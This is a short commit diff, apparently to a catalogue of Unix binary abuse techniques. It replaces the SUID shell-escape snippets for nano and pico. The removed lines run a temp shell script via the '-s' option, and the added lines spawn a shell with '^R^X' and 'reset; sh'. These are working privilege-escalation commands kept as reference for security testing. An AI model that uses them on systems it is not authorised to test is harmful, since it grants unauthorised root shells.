Update SUID in nano and pico

This commit is contained in:
Andrea Cardaci 2019-04-16 19:11:31 +02:00
parent f7baa8aee6
commit ac68a5864a
2 changed files with 6 additions and 12 deletions

View File

@ -20,12 +20,9 @@ functions:
suid: suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: | code: |
TF=$(mktemp) ./nano
echo '#!/bin/sh -p ^R^X
exec sh -p' > $TF reset; sh 1>&0 2>&0
chmod +x $TF
./nano -s $TF /etc/hosts
^T
sudo: sudo:
- code: | - code: |
sudo nano sudo nano

View File

@ -20,12 +20,9 @@ functions:
suid: suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: | code: |
TF=$(mktemp) ./pico
echo '#!/bin/sh -p ^R^X
exec sh -p' > $TF reset; sh 1>&0 2>&0
chmod +x $TF
./pico -s $TF /etc/hosts
^T
sudo: sudo:
- code: | - code: |
sudo pico sudo pico